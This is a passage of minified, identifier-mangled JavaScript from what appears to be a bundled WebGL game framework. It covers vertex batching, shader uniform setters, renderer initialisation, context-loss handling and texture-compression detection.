function () { }, 'onRebind': function () { }, 'onBatch': function () { }, 'onPreBatch': function () { }, 'onPostBatch': function () { }, 'onPreRender': function () { }, 'onRender': function () { }, 'onPostRender': function () { }, 'onBeforeFlush': function () { }, 'onAfterFlush': function () { }, 'batchVert': function (_0x1fcbd9, _0x1047de, _0xdbe160, _0x177eaa, _0x3403e6, _0x1eecb7, _0x52de89) { var _0x2e0c36 = this['vertexViewF32'], _0x4a42da = this['vertexViewU32'], _0x564208 = this['vertexCount'] * this['currentShader']['vertexComponentCount'] - 0x1; _0x2e0c36[++_0x564208] = _0x1fcbd9, _0x2e0c36[++_0x564208] = _0x1047de, _0x2e0c36[++_0x564208] = _0xdbe160, _0x2e0c36[++_0x564208] = _0x177eaa, _0x2e0c36[++_0x564208] = _0x3403e6, _0x2e0c36[++_0x564208] = _0x1eecb7, _0x4a42da[++_0x564208] = _0x52de89, this['vertexCount']++, this['currentBatch']['count'] = this['vertexCount'] - this['currentBatch']['start']; }, 'batchQuad': function (_0x1c9de1, _0x6e5ab, _0x375ee7, _0x4928e7, _0x316bb7, _0xb93fe4, _0x588348, _0x6f7538, _0x4ce5ed, _0x3a991f, _0x588b4e, _0x2a2786, _0x90ff0d, _0x3811c1, _0x4df3f0, _0x59ceb3, _0x12e64a, _0x28d040, _0x242f65, _0x355cca) { void 0x0 === _0x355cca && (_0x355cca = this['currentUnit']); var _0x4e225e = !0x1; this['shouldFlush'](0x6) && (this['flush'](), _0x4e225e = !0x0), this['currentBatch'] || (_0x355cca = this['setTexture2D'](_0x242f65)); var _0x38305c = this['vertexViewF32'], _0x2f6915 = this['vertexViewU32'], _0x1fdfb5 = this['vertexCount'] * this['currentShader']['vertexComponentCount'] - 0x1; return _0x38305c[++_0x1fdfb5] = _0x6e5ab, _0x38305c[++_0x1fdfb5] = _0x375ee7, _0x38305c[++_0x1fdfb5] = _0x3a991f, _0x38305c[++_0x1fdfb5] = _0x588b4e, _0x38305c[++_0x1fdfb5] = _0x355cca, _0x38305c[++_0x1fdfb5] = _0x28d040, _0x2f6915[++_0x1fdfb5] = _0x3811c1, _0x38305c[++_0x1fdfb5] = _0x4928e7, _0x38305c[++_0x1fdfb5] = _0x316bb7, _0x38305c[++_0x1fdfb5] = _0x3a991f, _0x38305c[++_0x1fdfb5] = _0x90ff0d, _0x38305c[++_0x1fdfb5] = _0x355cca, _0x38305c[++_0x1fdfb5] = _0x28d040, _0x2f6915[++_0x1fdfb5] = _0x59ceb3, _0x38305c[++_0x1fdfb5] = _0xb93fe4, _0x38305c[++_0x1fdfb5] = _0x588348, _0x38305c[++_0x1fdfb5] = _0x2a2786, _0x38305c[++_0x1fdfb5] = _0x90ff0d, _0x38305c[++_0x1fdfb5] = _0x355cca, _0x38305c[++_0x1fdfb5] = _0x28d040, _0x2f6915[++_0x1fdfb5] = _0x12e64a, _0x38305c[++_0x1fdfb5] = _0x6e5ab, _0x38305c[++_0x1fdfb5] = _0x375ee7, _0x38305c[++_0x1fdfb5] = _0x3a991f, _0x38305c[++_0x1fdfb5] = _0x588b4e, _0x38305c[++_0x1fdfb5] = _0x355cca, _0x38305c[++_0x1fdfb5] = _0x28d040, _0x2f6915[++_0x1fdfb5] = _0x3811c1, _0x38305c[++_0x1fdfb5] = _0xb93fe4, _0x38305c[++_0x1fdfb5] = _0x588348, _0x38305c[++_0x1fdfb5] = _0x2a2786, _0x38305c[++_0x1fdfb5] = _0x90ff0d, _0x38305c[++_0x1fdfb5] = _0x355cca, _0x38305c[++_0x1fdfb5] = _0x28d040, _0x2f6915[++_0x1fdfb5] = _0x12e64a, _0x38305c[++_0x1fdfb5] = _0x6f7538, _0x38305c[++_0x1fdfb5] = _0x4ce5ed, _0x38305c[++_0x1fdfb5] = _0x2a2786, _0x38305c[++_0x1fdfb5] = _0x588b4e, _0x38305c[++_0x1fdfb5] = _0x355cca, _0x38305c[++_0x1fdfb5] = _0x28d040, _0x2f6915[++_0x1fdfb5] = _0x4df3f0, this['vertexCount'] += 0x6, this['currentBatch']['count'] = this['vertexCount'] - this['currentBatch']['start'], this['onBatch'](_0x1c9de1), _0x4e225e; }, 'batchTri': function (_0x311734, _0x2fcc45, _0x25843b, _0x21c87a, _0x2f8b5f, _0x5ad236, _0x54776e, _0x42572a, _0x3ec7b1, _0x503ce5, _0x5abcaa, _0x41792f, _0x31b6e3, _0x5ed4b1, _0x349f12, _0x2f2af9, _0x5918bf) { void 0x0 === _0x5918bf && (_0x5918bf = this['currentUnit']); var _0x41e121 = !0x1; this['shouldFlush'](0x3) && (this['flush'](), _0x41e121 = !0x0), this['currentBatch'] || (_0x5918bf = this['setTexture2D'](_0x2f2af9)); var _0x1dfa18 = this['vertexViewF32'], _0x123e9f = this['vertexViewU32'], _0x8f0f7c = this['vertexCount'] * this['currentShader']['vertexComponentCount'] - 0x1; return _0x1dfa18[++_0x8f0f7c] = _0x2fcc45, _0x1dfa18[++_0x8f0f7c] = _0x25843b, _0x1dfa18[++_0x8f0f7c] = _0x42572a, _0x1dfa18[++_0x8f0f7c] = _0x3ec7b1, _0x1dfa18[++_0x8f0f7c] = _0x5918bf, _0x1dfa18[++_0x8f0f7c] = _0x349f12, _0x123e9f[++_0x8f0f7c] = _0x41792f, _0x1dfa18[++_0x8f0f7c] = _0x21c87a, _0x1dfa18[++_0x8f0f7c] = _0x2f8b5f, _0x1dfa18[++_0x8f0f7c] = _0x42572a, _0x1dfa18[++_0x8f0f7c] = _0x5abcaa, _0x1dfa18[++_0x8f0f7c] = _0x5918bf, _0x1dfa18[++_0x8f0f7c] = _0x349f12, _0x123e9f[++_0x8f0f7c] = _0x31b6e3, _0x1dfa18[++_0x8f0f7c] = _0x5ad236, _0x1dfa18[++_0x8f0f7c] = _0x54776e, _0x1dfa18[++_0x8f0f7c] = _0x503ce5, _0x1dfa18[++_0x8f0f7c] = _0x5abcaa, _0x1dfa18[++_0x8f0f7c] = _0x5918bf, _0x1dfa18[++_0x8f0f7c] = _0x349f12, _0x123e9f[++_0x8f0f7c] = _0x5ed4b1, this['vertexCount'] += 0x3, this['currentBatch']['count'] = this['vertexCount'] - this['currentBatch']['start'], this['onBatch'](_0x311734), _0x41e121; }, 'drawFillRect': function (_0x40bc5d, _0x6fec4f, _0x29391e, _0x5148be, _0x5174d4, _0x1d04a6, _0x433a01, _0x113617) { void 0x0 === _0x433a01 && (_0x433a01 = this['renderer']['whiteTexture']), void 0x0 === _0x113617 && (_0x113617 = !0x0), _0x40bc5d = Math['floor'](_0x40bc5d), _0x6fec4f = Math['floor'](_0x6fec4f); var _0x51a0a0 = Math['floor'](_0x40bc5d + _0x29391e), _0x48a3c1 = Math['floor'](_0x6fec4f + _0x5148be), _0x5a73d0 = this['setTexture2D'](_0x433a01), _0x33b3f4 = _0x1f7321['getTintAppendFloatAlphaAndSwap'](_0x5174d4, _0x1d04a6), _0x60a947 = 0x0, _0x4b047a = 0x1; _0x113617 && (_0x60a947 = 0x1, _0x4b047a = 0x0), this['batchQuad'](null, _0x40bc5d, _0x6fec4f, _0x40bc5d, _0x48a3c1, _0x51a0a0, _0x48a3c1, _0x51a0a0, _0x6fec4f, 0x0, _0x60a947, 0x1, _0x4b047a, _0x33b3f4, _0x33b3f4, _0x33b3f4, _0x33b3f4, 0x0, _0x433a01, _0x5a73d0); }, 'setTexture2D': function (_0x58feca) { return void 0x0 === _0x58feca && (_0x58feca = this['renderer']['whiteTexture']), this['pushBatch'](_0x58feca); }, 'bindTexture': function (_0x32c998, _0x3f9334) { void 0x0 === _0x3f9334 && (_0x3f9334 = 0x0); var _0x259046 = this['gl']; return _0x259046['activeTexture'](_0x259046['TEXTURE0'] + _0x3f9334), _0x259046['bindTexture'](_0x259046['TEXTURE_2D'], _0x32c998['webGLTexture']), this; }, 'bindRenderTarget': function (_0x3ef872, _0x29bbbd) { return this['bindTexture'](_0x3ef872['texture'], _0x29bbbd); }, 'setTime': function (_0x5dbe3f, _0x22578d) { return this['set1f'](_0x5dbe3f, this['game']['loop']['getDuration'](), _0x22578d), this; }, 'setBoolean': function (_0x18516f, _0x5f5349, _0x57502c) { return void 0x0 === _0x57502c && (_0x57502c = this['currentShader']), _0x57502c['setBoolean'](_0x18516f, _0x5f5349), this; }, 'set1f': function (_0x501ff3, _0x221002, _0x78275d) { return void 0x0 === _0x78275d && (_0x78275d = this['currentShader']), _0x78275d['set1f'](_0x501ff3, _0x221002), this; }, 'set2f': function (_0x25f97c, _0x2a8415, _0x1eb49b, _0x3b78ae) { return void 0x0 === _0x3b78ae && (_0x3b78ae = this['currentShader']), _0x3b78ae['set2f'](_0x25f97c, _0x2a8415, _0x1eb49b), this; }, 'set3f': function (_0x3703d6, _0x3f8adc, _0x57c62d, _0x5c1b28, _0x1a78c0) { return void 0x0 === _0x1a78c0 && (_0x1a78c0 = this['currentShader']), _0x1a78c0['set3f'](_0x3703d6, _0x3f8adc, _0x57c62d, _0x5c1b28), this; }, 'set4f': function (_0x306d6f, _0x397595, _0x1c1296, _0xd4d9d0, _0x7b4b5, _0x4b2350) { return void 0x0 === _0x4b2350 && (_0x4b2350 = this['currentShader']), _0x4b2350['set4f'](_0x306d6f, _0x397595, _0x1c1296, _0xd4d9d0, _0x7b4b5), this; }, 'set1fv': function (_0x4ceb1b, _0x17288a, _0x1215cd) { return void 0x0 === _0x1215cd && (_0x1215cd = this['currentShader']), _0x1215cd['set1fv'](_0x4ceb1b, _0x17288a), this; }, 'set2fv': function (_0x4c5ecf, _0x12f259, _0x184293) { return void 0x0 === _0x184293 && (_0x184293 = this['currentShader']), _0x184293['set2fv'](_0x4c5ecf, _0x12f259), this; }, 'set3fv': function (_0x246948, _0x2c561a, _0x4f242c) { return void 0x0 === _0x4f242c && (_0x4f242c = this['currentShader']), _0x4f242c['set3fv'](_0x246948, _0x2c561a), this; }, 'set4fv': function (_0x239228, _0x527184, _0xda001) { return void 0x0 === _0xda001 && (_0xda001 = this['currentShader']), _0xda001['set4fv'](_0x239228, _0x527184), this; }, 'set1iv': function (_0x20b21f, _0x3fc129, _0x473195) { return void 0x0 === _0x473195 && (_0x473195 = this['currentShader']), _0x473195['set1iv'](_0x20b21f, _0x3fc129), this; }, 'set2iv': function (_0x2c1172, _0x252f40, _0x4fd2c2) { return void 0x0 === _0x4fd2c2 && (_0x4fd2c2 = this['currentShader']), _0x4fd2c2['set2iv'](_0x2c1172, _0x252f40), this; }, 'set3iv': function (_0x279d19, _0x59b040, _0x118860) { return void 0x0 === _0x118860 && (_0x118860 = this['currentShader']), _0x118860['set3iv'](_0x279d19, _0x59b040), this; }, 'set4iv': function (_0x33bb27, _0x26ae19, _0x20089d) { return void 0x0 === _0x20089d && (_0x20089d = this['currentShader']), _0x20089d['set4iv'](_0x33bb27, _0x26ae19), this; }, 'set1i': function (_0x581d96, _0x35389f, _0x54d36c) { return void 0x0 === _0x54d36c && (_0x54d36c = this['currentShader']), _0x54d36c['set1i'](_0x581d96, _0x35389f), this; }, 'set2i': function (_0x43bdd1, _0x15998d, _0x29ad77, _0x496b4e) { return void 0x0 === _0x496b4e && (_0x496b4e = this['currentShader']), _0x496b4e['set2i'](_0x43bdd1, _0x15998d, _0x29ad77), this; }, 'set3i': function (_0xb76e88, _0x52659f, _0x477669, _0x2a2b8d, _0x59e9f2) { return void 0x0 === _0x59e9f2 && (_0x59e9f2 = this['currentShader']), _0x59e9f2['set3i'](_0xb76e88, _0x52659f, _0x477669, _0x2a2b8d), this; }, 'set4i': function (_0x4e49d1, _0x590b41, _0x5060b3, _0x344ec8, _0x2ca8e2, _0x5b4bc3) { return void 0x0 === _0x5b4bc3 && (_0x5b4bc3 = this['currentShader']), _0x5b4bc3['set4i'](_0x4e49d1, _0x590b41, _0x5060b3, _0x344ec8, _0x2ca8e2), this; }, 'setMatrix2fv': function (_0x341744, _0x5d5003, _0x3b4583, _0x3eb877) { return void 0x0 === _0x3eb877 && (_0x3eb877 = this['currentShader']), _0x3eb877['setMatrix2fv'](_0x341744, _0x5d5003, _0x3b4583), this; }, 'setMatrix3fv': function (_0x3cc479, _0x3d83cd, _0x28af41, _0x676a8a) { return void 0x0 === _0x676a8a && (_0x676a8a = this['currentShader']), _0x676a8a['setMatrix3fv'](_0x3cc479, _0x3d83cd, _0x28af41), this; }, 'setMatrix4fv': function (_0x3d843f, _0x37a64f, _0xc5cb46, _0x323147) { return void 0x0 === _0x323147 && (_0x323147 = this['currentShader']), _0x323147['setMatrix4fv'](_0x3d843f, _0x37a64f, _0xc5cb46), this; }, 'destroy': function () { var _0x363fe7; this['emit'](_0x4642c0['DESTROY'], this); var _0xfa376e = this['shaders']; for (_0x363fe7 = 0x0; _0x363fe7 < _0xfa376e['length']; _0x363fe7++)_0xfa376e[_0x363fe7]['destroy'](); var _0x24ac11 = this['renderTargets']; for (_0x363fe7 = 0x0; _0x363fe7 < _0x24ac11['length']; _0x363fe7++)_0x24ac11[_0x363fe7]['destroy'](); var _0x5cc9cb = this['renderer']; return _0x5cc9cb['deleteBuffer'](this['vertexBuffer']), _0x5cc9cb['off'](_0x3b4b15['RESIZE'], this['resize'], this), _0x5cc9cb['off'](_0x3b4b15['PRE_RENDER'], this['onPreRender'], this), _0x5cc9cb['off'](_0x3b4b15['RENDER'], this['onRender'], this), _0x5cc9cb['off'](_0x3b4b15['POST_RENDER'], this['onPostRender'], this), this['removeAllListeners'](), this['game'] = null, this['renderer'] = null, this['manager'] = null, this['gl'] = null, this['view'] = null, this['shaders'] = null, this['renderTargets'] = null, this['bytes'] = null, this['vertexViewF32'] = null, this['vertexViewU32'] = null, this['vertexData'] = null, this['vertexBuffer'] = null, this['currentShader'] = null, this['currentRenderTarget'] = null, this['activeTextures'] = null, this; } }); _0x578ed5['exports'] = _0x2c84e1; }, 0x1242d: (_0x37524d, _0x2a8e84, _0x1d5d90) => { var _0x32e484 = _0x1d5d90(0x174c4), _0x5bb2f9 = _0x1d5d90(0x11cc9), _0x54cb39 = _0x1d5d90(0x4d03), _0x51c370 = _0x1d5d90(0x145db), _0x3a3082 = _0x1d5d90(0x1f76), _0x58acf7 = _0x1d5d90(0xc668), _0x59f95f = _0x1d5d90(0x16957), _0x55ca06 = _0x1d5d90(0xc36e), _0x4a8b45 = _0x1d5d90(0x93eb), _0x4fb162 = _0x1d5d90(0x7433), _0x1eee1c = _0x1d5d90(0x1d6a), _0x38eb4f = _0x1d5d90(0x7e2e), _0x43ef4e = _0x1d5d90(0x17cc8), _0x3d3900 = _0x1d5d90(0x10f42), _0x38b001 = _0x1d5d90(0x1139a), _0x8fa9de = _0x1d5d90(0x15aef), _0x2e2d5e = _0x1d5d90(0x6610), _0x299a5b = _0x1d5d90(0x5ca), _0x38b298 = _0x1d5d90(0x1433f), _0xcc90b9 = _0x1d5d90(0x149a3), _0x2fab33 = _0x1d5d90(0x16d7f), _0x5dd103 = _0x1d5d90(0xdf5f), _0x559f6e = new _0x51c370({ 'Extends': _0x58acf7, 'initialize': function (_0x59a01f) { _0x58acf7['call'](this); var _0x58b572 = _0x59a01f['config'], _0x2ac217 = { 'alpha': _0x58b572['transparent'], 'desynchronized': _0x58b572['desynchronized'], 'depth': !0x0, 'antialias': _0x58b572['antialiasGL'], 'premultipliedAlpha': _0x58b572['premultipliedAlpha'], 'stencil': !0x0, 'failIfMajorPerformanceCaveat': _0x58b572['failIfMajorPerformanceCaveat'], 'powerPreference': _0x58b572['powerPreference'], 'preserveDrawingBuffer': _0x58b572['preserveDrawingBuffer'], 'willReadFrequently': !0x1 }; this['config'] = { 'clearBeforeRender': _0x58b572['clearBeforeRender'], 'antialias': _0x58b572['antialias'], 'backgroundColor': _0x58b572['backgroundColor'], 'contextCreation': _0x2ac217, 'roundPixels': _0x58b572['roundPixels'], 'maxTextures': _0x58b572['maxTextures'], 'maxTextureSize': _0x58b572['maxTextureSize'], 'batchSize': _0x58b572['batchSize'], 'maxLights': _0x58b572['maxLights'], 'mipmapFilter': _0x58b572['mipmapFilter'] }, this['game'] = _0x59a01f, this['type'] = _0x3a3082['WEBGL'], this['pipelines'] = null, this['width'] = 0x0, this['height'] = 0x0, this['canvas'] = _0x59a01f['canvas'], this['blendModes'] = [], this['contextLost'] = !0x1, this['snapshotState'] = { 'x': 0x0, 'y': 0x0, 'width': 0x1, 'height': 0x1, 'getPixel': !0x1, 'callback': null, 'type': 'image/png', 'encoder': 0.92, 'isFramebuffer': !0x1, 'bufferWidth': 0x0, 'bufferHeight': 0x0 }, this['maxTextures'] = 0x0, this['textureIndexes'], this['glBufferWrappers'] = [], this['glProgramWrappers'] = [], this['glTextureWrappers'] = [], this['glFramebufferWrappers'] = [], this['glAttribLocationWrappers'] = [], this['glUniformLocationWrappers'] = [], this['currentFramebuffer'] = null, this['fboStack'] = [], this['currentProgram'] = null, this['currentBlendMode'] = 0x1 / 0x0, this['currentScissorEnabled'] = !0x1, this['currentScissor'] = null, this['scissorStack'] = [], this['contextLostHandler'] = _0x4fb162, this['contextRestoredHandler'] = _0x4fb162, this['previousContextLostHandler'] = _0x4fb162, this['previousContextRestoredHandler'] = _0x4fb162, this['gl'] = null, this['supportedExtensions'] = null, this['instancedArraysExtension'] = null, this['vaoExtension'] = null, this['extensions'] = {}, this['glFormats'], this['compression'], this['drawingBufferHeight'] = 0x0, this['blankTexture'] = null, this['normalTexture'] = null, this['whiteTexture'] = null, this['maskCount'] = 0x0, this['maskStack'] = [], this['currentMask'] = { 'mask': null, 'camera': null }, this['currentCameraMask'] = { 'mask': null, 'camera': null }, this['glFuncMap'] = null, this['currentType'] = '', this['newType'] = !0x1, this['nextTypeMatch'] = !0x1, this['finalType'] = !0x1, this['mipmapFilter'] = null, this['defaultScissor'] = [0x0, 0x0, 0x0, 0x0], this['isBooted'] = !0x1, this['renderTarget'] = null, this['projectionMatrix'], this['projectionWidth'] = 0x0, this['projectionHeight'] = 0x0, this['maskSource'] = null, this['maskTarget'] = null, this['spector'] = null, this['_debugCapture'] = !0x1, this['init'](this['config']); }, 'init': function (_0x558382) { var _0x2f08f5, _0x1ab4a8 = this['game'], _0x15b65d = this['canvas'], _0x717ad9 = _0x558382['backgroundColor']; if (!(_0x2f08f5 = _0x1ab4a8['config']['context'] ? _0x1ab4a8['config']['context'] : _0x15b65d['getContext']('webgl', _0x558382['contextCreation']) || _0x15b65d['getContext']('experimental-webgl', _0x558382['contextCreation'])) || _0x2f08f5['isContextLost']()) throw this['contextLost'] = !0x0, new Error('WebGL\x20unsupported'); this['gl'] = _0x2f08f5, this['setExtensions'](), this['setContextHandlers'](), _0x1ab4a8['context'] = _0x2f08f5; for (var _0x5058c4 = 0x0; _0x5058c4 <= 0x1b; _0x5058c4++)this['blendModes']['push']({ 'func': [_0x2f08f5['ONE'], _0x2f08f5['ONE_MINUS_SRC_ALPHA']], 'equation': _0x2f08f5['FUNC_ADD'] }); return this['blendModes'][0x1]['func'] = [_0x2f08f5['ONE'], _0x2f08f5['DST_ALPHA']], this['blendModes'][0x2]['func'] = [_0x2f08f5['DST_COLOR'], _0x2f08f5['ONE_MINUS_SRC_ALPHA']], this['blendModes'][0x3]['func'] = [_0x2f08f5['ONE'], _0x2f08f5['ONE_MINUS_SRC_COLOR']], this['blendModes'][0x11] = { 'func': [_0x2f08f5['ZERO'], _0x2f08f5['ONE_MINUS_SRC_ALPHA']], 'equation': _0x2f08f5['FUNC_REVERSE_SUBTRACT'] }, this['glFormats'] = [_0x2f08f5['BYTE'], _0x2f08f5['SHORT'], _0x2f08f5['UNSIGNED_BYTE'], _0x2f08f5['UNSIGNED_SHORT'], _0x2f08f5['FLOAT']], this['glFuncMap'] = { 'mat2': { 'func': _0x2f08f5['uniformMatrix2fv'], 'length': 0x1, 'matrix': !0x0 }, 'mat3': { 'func': _0x2f08f5['uniformMatrix3fv'], 'length': 0x1, 'matrix': !0x0 }, 'mat4': { 'func': _0x2f08f5['uniformMatrix4fv'], 'length': 0x1, 'matrix': !0x0 }, '1f': { 'func': _0x2f08f5['uniform1f'], 'length': 0x1 }, '1fv': { 'func': _0x2f08f5['uniform1fv'], 'length': 0x1 }, '1i': { 'func': _0x2f08f5['uniform1i'], 'length': 0x1 }, '1iv': { 'func': _0x2f08f5['uniform1iv'], 'length': 0x1 }, '2f': { 'func': _0x2f08f5['uniform2f'], 'length': 0x2 }, '2fv': { 'func': _0x2f08f5['uniform2fv'], 'length': 0x1 }, '2i': { 'func': _0x2f08f5['uniform2i'], 'length': 0x2 }, '2iv': { 'func': _0x2f08f5['uniform2iv'], 'length': 0x1 }, '3f': { 'func': _0x2f08f5['uniform3f'], 'length': 0x3 }, '3fv': { 'func': _0x2f08f5['uniform3fv'], 'length': 0x1 }, '3i': { 'func': _0x2f08f5['uniform3i'], 'length': 0x3 }, '3iv': { 'func': _0x2f08f5['uniform3iv'], 'length': 0x1 }, '4f': { 'func': _0x2f08f5['uniform4f'], 'length': 0x4 }, '4fv': { 'func': _0x2f08f5['uniform4fv'], 'length': 0x1 }, '4i': { 'func': _0x2f08f5['uniform4i'], 'length': 0x4 }, '4iv': { 'func': _0x2f08f5['uniform4iv'], 'length': 0x1 } }, _0x558382['maxTextures'] && -0x1 !== _0x558382['maxTextures'] || (_0x558382['maxTextures'] = _0x2f08f5['getParameter'](_0x2f08f5['MAX_TEXTURE_IMAGE_UNITS'])), _0x558382['maxTextureSize'] || (_0x558382['maxTextureSize'] = _0x2f08f5['getParameter'](_0x2f08f5['MAX_TEXTURE_SIZE'])), this['compression'] = this['getCompressedTextures'](), _0x2f08f5['disable'](_0x2f08f5['DEPTH_TEST']), _0x2f08f5['disable'](_0x2f08f5['CULL_FACE']), _0x2f08f5['enable'](_0x2f08f5['BLEND']), _0x2f08f5['clearColor'](_0x717ad9['redGL'], _0x717ad9['greenGL'], _0x717ad9['blueGL'], _0x717ad9['alphaGL']), -0x1 !== ['NEAREST', 'LINEAR', 'NEAREST_MIPMAP_NEAREST', 'LINEAR_MIPMAP_NEAREST', 'NEAREST_MIPMAP_LINEAR', 'LINEAR_MIPMAP_LINEAR']['indexOf'](_0x558382['mipmapFilter']) && (this['mipmapFilter'] = _0x2f08f5[_0x558382['mipmapFilter']]), this['maxTextures'] = _0x38b001['checkShaderMax'](_0x2f08f5, _0x558382['maxTextures']), this['textureIndexes'] = [], this['createTemporaryTextures'](), this['pipelines'] = new _0x1eee1c(this), this['setBlendMode'](_0x3a3082['BlendModes']['NORMAL']), this['projectionMatrix'] = new _0x4a8b45()['identity'](), _0x1ab4a8['textures']['once'](_0x3d3900['READY'], this['boot'], this), this; }, 'boot': function () { var _0x186b19 = this['game'], _0x644366 = this['pipelines'], _0xca98ce = _0x186b19['scale']['baseSize'], _0x4eac99 = _0xca98ce['width'], _0x2f19b9 = _0xca98ce['height']; this['width'] = _0x4eac99, this['height'] = _0x2f19b9, this['isBooted'] = !0x0, this['renderTarget'] = new _0x38eb4f(this, _0x4eac99, _0x2f19b9, 0x1, 0x0, !0x0, !0x0), this['maskTarget'] = new _0x38eb4f(this, _0x4eac99, _0x2f19b9, 0x1, 0x0, !0x0, !0x0), this['maskSource'] = new _0x38eb4f(this, _0x4eac99, _0x2f19b9, 0x1, 0x0, !0x0, !0x0); var _0x3641c4 = _0x186b19['config']; _0x644366['boot'](_0x3641c4['pipeline'], _0x3641c4['defaultPipeline'], _0x3641c4['autoMobilePipeline']), this['blankTexture'] = _0x186b19['textures']['getFrame']('__DEFAULT')['glTexture'], this['normalTexture'] = _0x186b19['textures']['getFrame']('__NORMAL')['glTexture'], this['whiteTexture'] = _0x186b19['textures']['getFrame']('__WHITE')['glTexture']; var _0x271323 = this['gl']; _0x271323['bindFramebuffer'](_0x271323['FRAMEBUFFER'], null), _0x271323['enable'](_0x271323['SCISSOR_TEST']), _0x186b19['scale']['on'](_0x43ef4e['RESIZE'], this['onResize'], this), this['resize'](_0x4eac99, _0x2f19b9); }, 'setExtensions': function () { var _0xfa5866 = this['gl'], _0x2913cf = _0xfa5866['getSupportedExtensions'](); this['supportedExtensions'] = _0x2913cf; var _0x274ad6 = 'ANGLE_instanced_arrays'; this['instancedArraysExtension'] = _0x2913cf['indexOf'](_0x274ad6) > -0x1 ? _0xfa5866['getExtension'](_0x274ad6) : null; var _0x1ef8f3 = 'OES_vertex_array_object'; this['vaoExtension'] = _0x2913cf['indexOf'](_0x1ef8f3) > -0x1 ? _0xfa5866['getExtension'](_0x1ef8f3) : null; }, 'setContextHandlers': function (_0x445daf, _0x4a8bc4) { this['previousContextLostHandler'] && this['canvas']['removeEventListener']('webglcontextlost', this['previousContextLostHandler'], !0x1), this['previousContextRestoredHandler'] && this['canvas']['removeEventListener']('webglcontextlost', this['previousContextRestoredHandler'], !0x1), this['contextLostHandler'] = 'function' == typeof _0x445daf ? _0x445daf['bind'](this) : this['dispatchContextLost']['bind'](this), this['contextRestoredHandler'] = 'function' == typeof _0x4a8bc4 ? _0x4a8bc4['bind'](this) : this['dispatchContextRestored']['bind'](this), this['canvas']['addEventListener']('webglcontextlost', this['contextLostHandler'], !0x1), this['canvas']['addEventListener']('webglcontextrestored', this['contextRestoredHandler'], !0x1), this['previousContextLostHandler'] = this['contextLostHandler'], this['previousContextRestoredHandler'] = this['contextRestoredHandler']; }, 'dispatchContextLost': function (_0x2ddd99) { this['contextLost'] = !0x0, console, this['emit'](_0x59f95f['LOSE_WEBGL'], this), _0x2ddd99['preventDefault'](); }, 'dispatchContextRestored': function (_0x2b78b8) { var _0x3cdd1a = this['gl']; if (_0x3cdd1a['isContextLost']()) console; else { this['currentProgram'] = null, this['currentFramebuffer'] = null, this['setBlendMode'](_0x3a3082['BlendModes']['NORMAL']), _0x3cdd1a['disable'](_0x3cdd1a['BLEND']), _0x3cdd1a['disable'](_0x3cdd1a['DEPTH_TEST']), _0x3cdd1a['enable'](_0x3cdd1a['CULL_FACE']), this['compression'] = this['getCompressedTextures'](); var _0x124170 = function (_0x45e96c) { _0x45e96c['createResource'](); }; _0x32e484(this['glTextureWrappers'], _0x124170), _0x32e484(this['glBufferWrappers'], _0x124170), _0x32e484(this['glFramebufferWrappers'], _0x124170), _0x32e484(this['glProgramWrappers'], _0x124170), _0x32e484(this['glAttribLocationWrappers'], _0x124170), _0x32e484(this['glUniformLocationWrappers'], _0x124170), this['createTemporaryTextures'](), this['pipelines']['restoreContext'](), this['resize'](this['game']['scale']['baseSize']['width'], this['game']['scale']['baseSize']['height']), this['setExtensions'](), this['contextLost'] = !0x1, console, this['emit'](_0x59f95f['RESTORE_WEBGL'], this), _0x2b78b8['preventDefault'](); } }, 'createTemporaryTextures': function () { for (var _0xce816d = this['gl'], _0x55b58d = 0x0; _0x55b58d < this['maxTextures']; _0x55b58d++) { var _0x11804c = _0xce816d['createTexture'](); _0xce816d['activeTexture'](_0xce816d['TEXTURE0'] + _0x55b58d), _0xce816d['bindTexture'](_0xce816d['TEXTURE_2D'], _0x11804c), _0xce816d['texImage2D'](_0xce816d['TEXTURE_2D'], 0x0, _0xce816d['RGBA'], 0x1, 0x1, 0x0, _0xce816d['RGBA'], _0xce816d['UNSIGNED_BYTE'], new Uint8Array([0x0, 0x0, 0xff, 0xff])), this['textureIndexes']['push'](_0x55b58d); } }, 'captureFrame': function (_0x1a558c, _0x4b2923) { void 0x0 === _0x1a558c && (_0x1a558c = !0x1), void 0x0 === _0x4b2923 && (_0x4b2923 = !0x1); }, 'captureNextFrame': function () { }, 'getFps': function () { }, 'log': function () { }, 'startCapture': function (_0x17c724, _0x37a980, _0x47479e) { void 0x0 === _0x17c724 && (_0x17c724 = 0x0), void 0x0 === _0x37a980 && (_0x37a980 = !0x1), void 0x0 === _0x47479e && (_0x47479e = !0x1); }, 'stopCapture': function () { }, 'onCapture': function (_0x404aa6) { }, 'onResize': function (_0x3cf015, _0x4059d2) { _0x4059d2['width'] === this['width'] && _0x4059d2['height'] === this['height'] || this['resize'](_0x4059d2['width'], _0x4059d2['height']); }, 'beginCapture': function (_0x5ac04e, _0x2a6b97) { void 0x0 === _0x5ac04e && (_0x5ac04e = this['width']), void 0x0 === _0x2a6b97 && (_0x2a6b97 = this['height']), this['renderTarget']['bind'](!0x0, _0x5ac04e, _0x2a6b97), this['setProjectionMatrix'](_0x5ac04e, _0x2a6b97); }, 'endCapture': function () { return this['renderTarget']['unbind'](!0x0), this['resetProjectionMatrix'](), this['renderTarget']; }, 'resize': function (_0x505f91, _0x1e382b) { var _0x7748a2 = this['gl']; return this['width'] = _0x505f91, this['height'] = _0x1e382b, this['setProjectionMatrix'](_0x505f91, _0x1e382b), _0x7748a2['viewport'](0x0, 0x0, _0x505f91, _0x1e382b), this['drawingBufferHeight'] = _0x7748a2['drawingBufferHeight'], _0x7748a2['scissor'](0x0, _0x7748a2['drawingBufferHeight'] - _0x1e382b, _0x505f91, _0x1e382b), this['defaultScissor'][0x2] = _0x505f91, this['defaultScissor'][0x3] = _0x1e382b, this['emit'](_0x59f95f['RESIZE'], _0x505f91, _0x1e382b), this; }, 'getCompressedTextures': function () { var _0xda09f1 = 'WEBGL_compressed_texture_', _0xb98290 = 'WEBKIT_' + _0xda09f1, _0x3608ae = function (_0x13ae45, _0x1abe9b) { var _0x3bf7ac = _0x13ae45['getExtension'](_0xda09f1 + _0x1abe9b) || _0x13ae45['getExtension'](_0xb98290 + _0x1abe9b) || _0x13ae45['getExtension']('EXT_texture_compression_' + _0x1abe9b); if (_0x3bf7ac) { var _0x2d1275 = {}; for (var _0x5e331d in _0x3bf7ac) _0x2d1275[_0x3bf7ac[_0x5e331d]] = _0x5e331d; return _0x2d1275; } }, _0x4ff294 = this['gl']; return { 'ETC': _0x3608ae(_0x4ff294, 'etc'), 'ETC1': _0x3608ae(_0x4ff294, 'etc1'), 'ATC': _0x3608ae(_0x4ff294, 'atc'), 